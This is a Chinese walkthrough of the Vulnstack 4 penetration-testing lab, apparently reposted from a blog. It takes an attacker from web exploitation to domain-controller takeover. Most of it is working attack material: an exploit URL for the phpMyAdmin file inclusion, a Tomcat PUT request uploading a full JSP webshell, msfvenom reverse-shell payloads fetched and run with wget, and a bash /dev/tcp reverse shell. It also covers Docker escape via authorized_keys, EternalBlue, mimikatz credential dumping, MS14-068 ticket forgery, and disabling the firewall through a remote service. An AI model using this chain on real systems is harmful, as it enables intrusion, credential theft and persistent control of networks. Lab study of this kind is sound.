admin管理员组文章数量:1566366
声明
好好学习,天天向上
环境配置
下载地址,直接进去用百度云,没有会员也下的非常快
http://vulnstack.qiyuanxuetang/vuln/detail/6/
边下载着,可以开始vmware的网络配置
有两个网段,外网网段是我自己设置的桥接模式192.168.31.1/24,内网网段,vmware加一个网卡VMnet3,192.168.183.1/24
和前面的大同小异,我这里就不细说了看过系列文章的应该都已经很清楚这种网络结构了,我直接贴图吧
桥接的就是攻击机与边界服务器的网卡
新增的VMnet3的183段就是内网的和连接内网的边界服务器的网卡
解压环境后,一共三台服务器,分别打开,导入过程中出现弹框,不要慌,点击重试即可
网络配好后,可以开机登录看看网络
ubuntu:ubuntu
192.168.31.48
192.168.183.128
域成员机器
douser:Dotest123
192.168.183.129
DC
administrator:Test2008
192.168.183.130
Web服务器为Ubuntu,需要进入ubuntu,用docker启动,熟悉vulhub的都清楚:
- s2-045
- CVE-2017-12615(tomcat put上传)
- cve-2018-12613(phpmyadmin文件包含漏洞)
熟悉docker的都清楚,docker基本都是root
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
成功启动后,删掉多余的容器,一共4个容器
win7总是自动挂起
进入控制面板 → 硬件和声音 → 更改计算机休眠时间 (改为从不休眠)
环境配置完毕
战斗
Web渗透
信息收集
kali扫描存活
arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.31.1/24
扫描详细信息
nmap -T4 -A 192.168.31.48 -p 1-65535 -oN nmap.A
开了22的ssh,2001的struts2,2002的tomcat,2003的phpmyadmin,ssh可以先放一放,剩下这三个,都是常用的,而且tomcat和phpmyadmin都是比较早的版本了
Struts2-Shell
随便拿俩工具验证一下康康
直接就能执行命令,为什么是172打头的呢?笨这显然是docker里面了啊
phpmyadmin-Shell
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613),这句话在网上一搜一大堆,那就来试试吧,毕竟我也是把vulhub都做的差不多了,也很熟悉这些了,看一看自己以前的文章,原来是直接可以包含文件,试一下先
http://192.168.31.48:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
之前的文章都没写到拿shell,那这次好好跟大佬们学习吧
其实思路就是,有了这个漏洞,就可以各种包含,也就是各种调用,那如果我们可以上传,或者说写入一个一句话,就可以用这个漏洞调用一句话,那该怎么写入呢,不要忘了mysql的日志写入功能
在sql执行处执行,并F12查看当前页面cookie中的phpmyadmin的值,这个也是经常用到的
select '<?php phpinfo();?>'
拿到cookie拼接
http://192.168.31.48:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_d9d73b108e81c24a365e218c5b1e5e54
成功执行phpinfo
写入一句话就可以了,这里是docker环境所以有点问题,我们到此为止
tomcat-Shell
tomcat 这么老的版本更不要说了
访问,抓包
http://192.168.31.48:2002/
可以修改方法为PUT,上传一个文件
PUT /shell.jsp/ HTTP/1.1
Host: 192.168.31.48:2002
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: phpMyAdmin=33ae53ca410bc8c12a08b825b08a3b7f; pma_lang=zh_CN
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
<%@ page import="java.util.*,java.io.*,java.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
访问我们的马
http://192.168.31.48:2002/shell.jsp
权限维持/提升
msf上线
生成木马,开启站点
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=6666 -f elf > shell.elf
python -m SimpleHTTPServer 80
msf开启监听
use exploit/multi/handler
set lhost 192.168.31.96
set lport 6666
set payload linux/x86/meterpreter/reverse_tcp
run
在刚刚shell.jsp上分别执行
wget http://192.168.31.96/shell.elf
chmod 777 shell.elf
./shell.elf
这里是让一个shell持久化在msf上了,但是这个IP,我们前面也说过,这是在docker里面,那么拿到docker,对我们来说毫无卵用,我们需要从docker跳出来,跳到服务器中,有点类似是从vmware的虚机跳到实体机上,这其实就叫做docker逃逸,以前没学过docker的时候,听着感觉贼牛逼,现在想想不就是这个道理吗,而且已经有现成的漏洞可以这么搞了,那就是CVE-2019-5736
首先下载并编译main.go脚本,生成攻击payload:
https://github/Frichetten/CVE-2019-5736-PoC
编辑main.go脚本
vim main.go
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.31.96/6667 0>& 1"
编译go成脚本
go环境搭建
https://wwwblogs/sch01ar/p/7625607.html
环境搭建完后,编译
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
利用meterpreter将这个脚本上传到docker的/home下
upload /app/vulnstack/4/CVE-2019-5736-PoC-master /home
kali监听
nc -lvp 6667
从meterpreter进入shell执行逃逸脚本
shell
cd /home
chmod main
./main
模拟docker进入容器,可是这里根本不理睬我
换思路吧
利用–privileged特权模式逃逸
利用docker的特权模式来在宿主机硬盘中写入ssh私钥,实现ssh免密登录宿主机,从而实现对目标宿主机的控制
新建一个/hack目录用来挂载文件:
mkdir /hack
将/dev/sda1挂载到/hack目录里
ls /dev
mount /dev/sda1 /hack
ls /hack
kali本地生成ssh秘钥
ssh-keygen -f hack
chmod 600 hack
现在相当于我们可以通过操纵hack目录,来操纵宿主机的目录,需要将这个秘钥传到宿主机就能ssh登录
验证一下
ls /hack/home
还记得这个用户吧
看一看隐藏文件
ls -alh /hack/home/ubuntu
就是你
这里看一下我的
cat hack.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW0uc8noTdYQIrZo5ODN0AyB4tmZlTF8mwxeVxccWCxrUkVwjhcfcmGq3czbgncMUoYh5vB1jWZSnakVfc4pAx3Yg/G4HVKu1q0JkCqrz8c1VJOpQAWoVjw8gCXpBk1rizX5nS4lkHAfZVJ0gb4grTGK31F+vbhN3OLIqteyUN7kJzWvvhD/iUiEDqVFKzllXIZGTr+kZioZfSxCJEZuI6ARbRDnKM/YHcdlfy0k64bYwWquCV8jxZOC5CYGr9Q6gPEO17a1szkNyTOGWNYk/oDQ2UpOT/PjObE3xk8eQrqnZFHQL23vTou3XOXoSp0C3DEdkr8aYE5bGUoet5n82QzZZixxCQIpuRvtvLHCQlBMiJZEB97gtivFZJXbFxV1QJpbrQDO/Q+HZTGH4rZnFMADDjbFhtWlb/uQqkZr38/hX7JxI8oewZcTKrF7tgc3jE/R33c/8OqNoYdv7LKqP//m7CEVUFE99GH5N+I3H8z6bQnARRhQ/1jKYLmK4+jXk= root@kali
在kali上写一个可以修改ssh的脚本,并开启web服务器(因为我webshell执行echo总失败)
vim key.sh
cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW0uc8noTdYQIrZo5ODN0AyB4tmZlTF8mwxeVxccWCxrUkVwjhcfcmGq3czbgncMUoYh5vB1jWZSnakVfc4pAx3Yg/G4HVKu1q0JkCqrz8c1VJOpQAWoVjw8gCXpBk1rizX5nS4lkHAfZVJ0gb4grTGK31F+vbhN3OLIqteyUN7kJzWvvhD/iUiEDqVFKzllXIZGTr+kZioZfSxCJEZuI6ARbRDnKM/YHcdlfy0k64bYwWquCV8jxZOC5CYGr9Q6gPEO17a1szkNyTOGWNYk/oDQ2UpOT/PjObE3xk8eQrqnZFHQL23vTou3XOXoSp0C3DEdkr8aYE5bGUoet5n82QzZZixxCQIpuRvtvLHCQlBMiJZEB97gtivFZJXbFxV1QJpbrQDO/Q+HZTGH4rZnFMADDjbFhtWlb/uQqkZr38/hX7JxI8oewZcTKrF7tgc3jE/R33c/8OqNoYdv7LKqP//m7CEVUFE99GH5N+I3H8z6bQnARRhQ/1jKYLmK4+jXk= root@kali' > /hack/home/ubuntu/.ssh/authorized_keys
cat /hack/home/ubuntu/.ssh/authorized_keys
python -m SimpleHTTPServer 80
webshell下载并执行
wget http://192.168.31.96/key.sh
chmod 777 key.sh
./key.sh
ls -alh /test/home/ubuntu/.ssh
写入成功
cat /hack/home/ubuntu/.ssh/authorized_keys
现在就可以利用自己的私钥进行免密登录
ssh -i hack ubuntu@192.168.31.48
我这里不太娴熟,多次挂载,还给docker宿主机整崩了
登录成功后,看到了一个183段的,这个应该就是内网网段了
再使用同样的方式在ubuntu上上传一个shell马
wget http://192.168.31.96/shell.elf
chmod 777 shell.elf
nohup ./shell.elf &
我这里由于重装了一下这个ubuntu,IP由原来的31.48变成了31.127
把ew上传到ubuntu上
upload /app/tools/ew-master/ew_for_linux64 /home/ubuntu
接着就是ubuntu开启
nohup ./ew_for_linux64 -s ssocksd -l 1080 &
kali配置
vim /etc/proxychains4.conf
msf路由转发
run autoroute -s 192.168.183.0/24
run autoroute -p
内网渗透
信息收集
可以先使用msf进行一波存活扫描
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run
肉眼可见的两台129,130,算上之前的128,一共三台域内服务器
横向渗透
永恒之蓝扫描一下,129,130都有ms17_010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.129-130
run
攻击131
setg Proxies socks5:192.168.31.127:1080 // 设置代理,不设置代理ms17_010很难打通
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.129
set lport 4444
set AutoRunScript post/windows/manage/migrate // 自动迁移进程
run
这样就拿到了这个域成员的SYSTEM,按照惯例,信息收集一波
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net time /domain // 主域服务器会同时作为时间服务器
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain // 查看域管理员组
经过信息收集,下一步目标就是182.130这台服务器,用mimikatz拿密码
报错了
加载模块,假冒令牌
load incognito
token:list_tokens -u
impersonate user "AUTHORITY\SYSTEM"
再次进入shell,用mimikatz
shell
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
有了密码,试试ms14-068
https://github/abatchy17/WindowsExploits/tree/master/MS14-068
下载后上传上去
利用ms14-068伪造票据
ms14-068.exe -u douser@DEMO -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码
mimikatz注入票据
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc <生成的票据文件> //将票据注入到内存中
查看域控
net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$
msf再生成一个马,再把这个马通过win操纵,上传到域控
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.31.96 lport=6688 -f exe -o bind.exe
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
msf开启监听
use exploit/multi/handler
set Proxies socks5:192.168.31.127:1080
set payload windows/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 6688
set AutoRunScript post/windows/manage/migrate
run
创建服务执行msf马:
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell
可以看到130过来了
有时候用代理,meterpreter会很不稳定,比如
我们要抓紧时间,刚生成meterpreter时执行
run persistence -X -i 5 -p 4000 -P windows/meterpreter/bind_tcp
往130上上传mimikatz,拿到密码administrator/!QAZ2wsx
meterpreter开启3389
run post/windows/manage/enable_rdp
登录
DEMO\administrator
!QAZ2wsx
拿下
版权声明:本文标题:红日安全ATT&CK靶机实战系列之vulnstack4 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/dongtai/1726780307a1084251.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论